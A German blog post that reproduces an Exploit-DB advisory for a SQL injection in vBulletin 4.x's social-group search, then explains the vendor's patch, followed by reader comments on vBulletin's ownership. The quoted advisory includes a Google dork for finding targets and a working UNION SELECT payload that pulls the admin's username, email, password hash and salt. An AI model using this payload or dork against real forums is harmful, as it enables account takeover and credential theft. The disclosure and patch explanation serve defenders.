vBulletin 4.0.x => 4.1.4 (messagegroupid) SQL Injection Vulnerability

Ahoi,

vor ein paar Monaten, hatte ich zu einer SQL Injection in vBulletin ja schon einige Worte geschrieben, heute folgen die naechsten Worte.

Das lustige ist, dass es im prinzip das selbe Modul wie damals war.

Das Exploit ist seit gestern bzw. heute drau├čen:

# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S	
# Software Link: [[url]http://www.vbulletin.com/][/url]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [[url]http://members.vbulletin.com/][/url]
 
######################################################################################################
Vulnerability:
######################################################################################################
 
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
 
#####################################################################################################
Vulnerable Code:
#####################################################################################################
 
File:    /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid
 
 
 
 
		if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
 
		{
 
			$value = $registry->GPC['messagegroupid'];
 
			if (!is_array($value))
 
			{
 
				$value = array($value);
 
			}
 
 
 
			if (!(in_array(' ',$value) OR in_array('',$value)))
 
			{
 
				if ($rst = $vbulletin->db->query_read("
 
					SELECT socialgroup.name
 
					FROM " . TABLE_PREFIX."socialgroup AS socialgroup
 
--->					WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
 
 
			}
 
 
 
############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
	      --> Search Single Content Type
 
Keywords :   Valid Group Message
 
Search Type : Group Messages 
 
Search in Group : Valid Group Id
 
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
 
##########################################################################################
More Details:
##########################################################################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day
 
 
###########################################################################################
Note:
###########################################################################################
 
Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

Quelle: http://www.exploit-db.com/exploits/17555/

Schlicht gehalten und das wichtigste ist drin. Der Exploit Titel ist uebrigens falsch, da es die Version 4.1.4 genauso betrifft.

Zum Thema ausnutzen muss ich denk ich nichts sagen, das hab ich beim letzten Mal ausfuehrlich getan und das klappt im Prinzip in diesem Exploit genauso.

Aber zum Thema Luecke fixxen werd ich ein paar Dinge sagen, die ich mir nicht selber ausgedacht habe, sondern werde diese vom vB veroeffentlichtem Patch uebernehmen:

Wie im obigen Exploit zu sehen, geht es um den Code in Zeile 397 (den kompletten code block seht ihr im exploit oben):

WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

Das wurde nun geaendert zu:

WHERE socialgroup.groupid IN (" . implode(', ', array_map('intval', $value)) .")")

Eine weitere Zeile die geaendert wurde ist 424:

					WHERE socialgroupcategory.socialgroupcategoryid IN (" . implode(', ', $value) .")")

wurde geaendert in:

					WHERE socialgroupcategory.socialgroupcategoryid IN (" . implode(', ', array_map('intval', $value)) .")")

Dann Zeile 511 – 515:

	protected $type_globals = array (
		'nocache'            => TYPE_UINT,
		'messagegroupid'     => TYPE_ARRAY,
		'categoryid'         => TYPE_ARRAY
	);

zu

	protected $type_globals = array (
		'nocache'            => TYPE_UINT,
		'messagegroupid'     => TYPE_ARRAY_UINT,
		'categoryid'         => TYPE_ARRAY_UINT,
	);

Kunden koennen sich den Patch natuerlich im Kundenpanel runterladen.

Wer sich nun denkt “toll, und was soll das ganze?” – in erster Linie wollte ich den Blogeintrag schreiben, weil die Luecke quasi im gleichen Modul ist zu der von damals und als zweiten Gedanken um den Leuten ohne vB Lizenz eine Moeglichkeit zu geben, ihr Board vor der Luecke zu schuetzen – als dritter Gedanke sollte natuerlich auch meinem Slogan dieser Blogeintrag gewidmet sein.

Bis zur naechsten vB Vuln ­čśë

4 Replies to “vBulletin 4.0.x => 4.1.4 (messagegroupid) SQL Injection Vulnerability”

  1. vBulletin hat sich mittlerweile zu einer sehr l├╝ckenhaften und schlechten Software entwickelt. Seit dem Adduco Digital die Software aufgekauft hat, hat sich alles nur ins negative entwickelt.
    Man sollte sich wirklich ├╝berlegen nicht auf eine andere Forensoftware umzusteigen, wobei ich Foren ( ausgenommen gro├čen mit ├╝ber 40k aktiven Membern) mittlerweile f├╝r nicht mehr zeitgem├Ą├č halte, seitdem es Facebook, Twitter und die anderen Plattformen gibt. Alle Betreiber von Foren sollten sich wirklich ├╝berlegen ob sie ihr Geld weiterhin f├╝r Bots ausgeben wollen (eingeschlossen mich). Vor allem die Foren, welche “allgemeine” Themen behandeln und sich nicht auf ein Thema spezialisieren sind doch arg aus der Mode gekommen und stehen meistens kurz vorm Sterben.
    Nun gut ich steiger mich da wieder total rein.
    Das wichtigste zu dem eigentlichen Thema hab ich ja schon gesagt ­čśë
    Toller Beitrag, wie immer, @ j0hn

  2. > Seit dem Adduco Digital die Software aufgekauft hat,
    Adduco Digital ist eigentlich nur der “Deutsche Zweig” von vBulletin und so hei├čen die glaub schon fast ewig.
    Du meinst daher wohl IB (Internet Brands) die vBulletin vor ~ 2 Jahren uebernommen haben.

    Ansonsten stimm ich dir in dem Text zu.

  3. Jap hab mich da vertan, meinte nat├╝rlich Internet Brands.
    Hatte n├Ąmlich nur auf das Impressum der deutschen seite geschaut xD

Leave a Reply

Your email address will not be published.